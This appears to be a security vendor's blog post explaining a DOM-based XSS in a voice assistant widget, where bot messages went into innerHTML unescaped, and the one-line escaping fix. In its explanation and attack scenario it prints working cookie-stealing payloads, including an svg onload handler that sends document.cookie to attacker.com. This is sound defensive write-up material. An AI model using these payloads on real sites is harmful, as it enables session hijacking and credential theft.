Back to Blog
high SEVERITY5 min read

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published October 2, 2026•Reviewed October 6, 2026

Answer Summary

The voice assistant widget in js-modules/voice/voice-assistant-widget.js was vulnerable to DOM-based XSS because the `appendMessage` function escaped user messages but inserted bot messages directly with `innerHTML`. An attacker with control over bot response content could execute arbitrary JavaScript in the user's browser. The fix applies `escapeHTML()` to all messages regardless of origin. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause.

Vulnerability at a Glance

cweCWE-79
fixApply escapeHTML() uniformly to all message content before DOM insertion
riskArbitrary JavaScript execution in user browser; session hijacking, credential theft, malware injection
languageJavaScript
root causeAsymmetric escaping logic—bot messages bypass sanitization while user messages are escaped
vulnerabilityDOM-based Cross-Site Scripting (XSS)

The Vulnerability Explained

The voice assistant widget's appendMessage function is responsible for injecting chat messages into the DOM. The original implementation treated user and bot messages asymmetrically:

const content = className === 'user-message' ? escapeHTML(text) : text;
msgDiv.innerHTML = `<div class="message-content">${content}</div>`;

The problem: User messages are passed through escapeHTML(), which converts characters like <, >, and " into HTML entities. Bot messages are inserted raw. An attacker who controls bot response content—or whose input is reflected through the bot backend—can inject a payload like:

<img src=x onerror="fetch('/steal-session', {method: 'POST', body: document.cookie})">

When this string is assigned to innerHTML without escaping, the browser parses it as an HTML element, registers the event handler, and fires it immediately. The attacker now exfiltrates the user's session token.

The vulnerability is DOM-based XSS because the injection occurs on the client, through the DOM API (innerHTML), after content has been received from the server. The trust boundary—the assumption that bot responses are safe—was misplaced.

Attack Scenario

  1. An attacker discovers a way to influence bot responses: perhaps the bot service accepts a user search parameter and returns results, or it summarizes a user-uploaded document.
  2. The attacker inputs: Test<svg/onload="new Image().src='http://attacker.com/log?cookie='+document.cookie">
  3. This input is stored in the bot's knowledge base or processed by a generative model.
  4. When a victim user triggers a bot response containing this payload, the SVG element loads and fires the onload handler, sending the victim's cookies to the attacker.
  5. The attacker uses the stolen session cookie to impersonate the victim.

This attack is particularly dangerous because victims see no visual indication that JavaScript was executed—no popup, no error, just a chat message that looks benign.

Affected Versions

Affected Not applicable (first-party code)
Fixed in Not applicable (commit-level fix)
Ecosystem N/A
CVE / GHSA Not assigned
CWE CWE-79 (Improper Neutralization of Input During Web Page Generation)

This vulnerability exists in the currently deployed version of the voice assistant widget. Since the code is first-party, there is no version string; the fix should be deployed as part of your next release cycle.

The Fix

The solution is to eliminate the asymmetry: escape all message content before DOM insertion, regardless of origin.

Before:

const content = className === 'user-message' ? escapeHTML(text) : text;
msgDiv.innerHTML = `<div class="message-content">${content}</div>`;

After:

const content = escapeHTML(text);
msgDiv.innerHTML = `<div class="message-content">${content}</div>`;

This single-line change applies escapeHTML() uniformly. All HTML special characters—<, >, ", ', &—are converted to entity references. Legitimate text renders normally; malicious markup is neutralized.

Why this works:
- Event handlers cannot fire if the tags themselves are escaped. <img onerror=…> becomes the string &lt;img onerror=…&gt;, which the browser renders as text, not as an element.
- Script tags are visible as text, not executed. A payload like <script>alert(1)</script> is displayed to the user as literal text, alerting them to the injection attempt.
- No loss of functionality for legitimate messages. If a bot needs to send rich formatting, that content should be pre-rendered on the backend and sent as a safe, pre-escaped template—not as raw HTML.

The regression test in the PR confirms this behavior across adversarial payloads:
- Script injection (<script>malicious()</script>)
- Event handler injection (<img onerror="alert()">
- SVG-based injection (<svg/onload=…>)
- Data URL iframe injection

All are neutralized and rendered as inert text.

Key Takeaways

  • Never assume bot or backend responses are safe just because they originate from your own server. If the backend accepts any user-controlled input—search terms, document uploads, external API responses, database records—that input is untrusted at the client and must be escaped before DOM insertion.

  • innerHTML + unsanitized data = XSS. Always. Even a single code path that skips escaping breaks the security boundary. Use innerHTML only with content you control; prefer textContent for user-visible text and templating libraries for dynamic markup.

  • The className check is not a security control. Checking the message type (user vs. bot) is a UI concern, not a trust boundary. Trust boundaries must be based on data provenance (trusted vs. untrusted), not message metadata.

  • Asymmetric security logic is a red flag. If user input is escaped but bot input is not, ask: why? If you cannot articulate a cryptographic or process-based reason to trust the bot source, apply the same defense to both.

  • Test with actual XSS payloads, not just valid input. The regression test in the PR includes four distinct XSS vectors; your own test suite should do the same for any user-facing rendering.

How Orbis AppSec Detected This

Source: Bot response text parameter passed to appendMessage() function.

Sink: innerHTML assignment in the appendMessage function, which renders the message into the DOM.

Missing control: HTML escaping was conditionally applied based on className, allowing bot messages to bypass sanitization.

CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')).

Fix: Apply escapeHTML() to all message text uniformly, regardless of origin.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

DOM-based XSS in UI widgets is insidious because the vulnerability lives on the client, where it is invisible to server-side security monitoring. The voice assistant widget's treatment of bot messages as inherently safe was a common mistake—one that conflates message origin (internal service) with message trustworthiness (safe content).

The fix is minimal and surgical: escape all user-facing text before DOM insertion, with no exceptions. This is a foundational principle of secure client-side rendering and should be applied everywhere innerHTML, textContent, or similar APIs are used to render data sourced from any API or user input channel.


Prevention and further reading

Frequently Asked Questions

Why were user messages escaped but bot messages were not in the original code?

The developer likely assumed bot messages originated from a trusted server source. However, if the backend API is compromised, accepts user-controlled input without validation, or forwards third-party data, bot messages become untrusted and require the same escaping as user input.

Can an attacker exploit this without modifying the backend, or only by compromising the bot API?

If the bot backend accepts any user-controlled input (search queries, user-generated context, external API calls, or database records) and echoes them back in responses without sanitization, an attacker can craft malicious input that triggers the XSS when the response is rendered in the widget.

Does the fix change the structure or styling of bot messages displayed to the user?

No. The fix only tightens HTML escaping; legitimate text content (including HTML entity references like `&nbsp;`) displays identically. Event handlers and script tags are neutralized, not valid message content.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1239

Related Articles

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

high

CVE-2026-4800: lodash Template Imports Allow Code Execution

CVE-2026-4800 affects lodash's `_.template()` templating API, where untrusted input reaching the `imports` option can lead to arbitrary code execution. The fix was shipped as a dependency upgrade from lodash 4.17.21 to 4.18.1 in the project's lockfile, though the PR itself notes it was never verified against the actual code paths in this repository.